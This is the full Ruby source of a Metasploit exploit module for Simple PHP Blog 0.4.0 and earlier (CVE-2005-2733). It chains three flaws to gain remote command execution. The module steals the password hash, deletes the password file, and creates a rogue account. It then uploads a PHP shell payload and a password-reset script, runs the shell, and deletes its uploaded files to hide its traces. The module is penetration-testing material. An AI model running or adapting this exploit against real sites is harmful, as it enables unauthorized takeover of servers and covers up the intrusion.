##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Simple PHP Blog Remote Command Execution',
      'Description'    => %q{
          This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
        application to upload arbitrary data and thus execute a shell. The first
        vulnerability exposes the hash file (password.txt) to unauthenticated users.
        The second vulnerability lies within the image upload system provided to
        logged-in users; there is no image validation function in the blogger to
        prevent an authenticated user from uploading any file type. The third
        vulnerability occurs within the blog comment functionality, allowing
        arbitrary files to be deleted.
      },
      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2005-2733'],
          ['OSVDB', '19012'],
          ['BID', '14667'],
          ['EDB', '1191'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Aug 25 2005',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
      ], self.class)
  end

  def check
    res = send_request_raw({
      'uri'     => normalize_uri(datastore['URI'], '/index.php')
    }, 25)

    if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

      ver = [ $1.to_i, $2.to_i, $3.to_i ]
      vprint_status("Simple PHP Blog #{ver.join('.')}")

      if (ver[0] == 0 and ver[1] < 5)
        if (ver[1] == 4 and ver[2] > 0)
          return Exploit::CheckCode::Safe
        end
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def retrieve_password_hash(file)

    res = send_request_raw({
      'uri'    => normalize_uri(datastore['URI'], file)
    }, 25)

    if (res and res.message == "OK" and res.body)
      print_status("Successfully retrieved hash: #{res.body}")
      return res.body
    else
      fail_with(Failure::NotVulnerable, "Failed to retrieve hash, server may not be vulnerable.")
      return false
    end
  end

  def create_new_password(user, pass)

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI'], '/install03_cgi.php'),
      'method'  => 'POST',
      'data'    => "user=#{user}&pass=#{pass}",
    }, 25)

    if (res)
      print_status("Successfully created temporary account.")
    else
      print_error("Unable to create a temporary account!")
    end
  end

  def retrieve_session(user, pass)

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI'], "/login_cgi.php"),
      'method'  => 'POST',
      'data'    => "user=#{user}&pass=#{pass}",
    }, 25)

    if res
      print_status("Successfully logged in as #{user}:#{pass}")

      if res.get_cookies =~ /my_id=(.*)/
        session = $1
        print_status("Successfully retrieved cookie: #{session}")
        return session
      else
        print_error("Error retrieving cookie!")
      end
    else
      print_error("No response received while logging in.")
    end
  end

  def upload_page(session, dir, newpage, contents)

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
    data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'	  => normalize_uri(datastore['URI'], "/upload_img_cgi.php"),
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
      {
        'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
      }
    }, 25)

    if (res)
      print_status("Successfully uploaded #{newpage}")
    else
      print_error("Error uploading #{newpage}")
    end
  end

  def reset_original_password(hash, scriptlocation)

    res = send_request_cgi({
      'uri'	 => normalize_uri(datastore['URI'], scriptlocation),
      'method' => 'POST',
      'data'	 => "hash=" + hash,
    }, 25)

    if (res)
      print_status("Successfully reset original password hash.")
    else
      print_error("Error resetting original password!")
    end
  end

  def delete_file(file)

    delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

    res = send_request_raw({
      'uri'	=> normalize_uri(datastore['URI'], delete_path),
    }, 25)

    if (res)
      print_status("Successfully removed #{file}")
    else
      print_error("Error removing #{file}!")
    end
  end

  def cmd_shell(cmdpath)
    print_status("Calling payload: #{cmdpath}")

    res = send_request_raw({
      'uri'	=> datastore['URI'] + cmdpath
    }, 25)

  end

  def exploit

    # Define the scripts to be uploaded to aid in exploitation
    cmd_php = '<?php ' + payload.encoded + '?>'

    reset_php = %Q|
    <?php $hash = $_POST['hash'];
    $fp = fopen("../config/password.txt","w");
    fwrite($fp,$hash);
    fpclose($fp);
    ?>|

    # Generate some random strings
    cmdscript	= rand_text_alphanumeric(20) + '.php'
    resetscript	= rand_text_alphanumeric(20) + '.php'
    newuser 	= rand_text_alphanumeric(6)
    newpass 	= rand_text_alphanumeric(6)

    # Static files
    directory 	= '/images/'
    cmdpath 	= directory + cmdscript
    resetpath 	= directory + resetscript
    passwdfile 	= '/config/password.txt'

    # Let's do this thing
    hash = retrieve_password_hash(passwdfile)
    delete_file(passwdfile)
    create_new_password(newuser, newpass)
    session = retrieve_session(newuser, newpass)
    upload_page(session, directory, resetscript, reset_php)
    upload_page(session, directory, cmdscript, cmd_php)
    reset_original_password(hash, resetpath)
    delete_file(resetpath)
    cmd_shell(cmdpath)
    delete_file(cmdpath)
  end
end
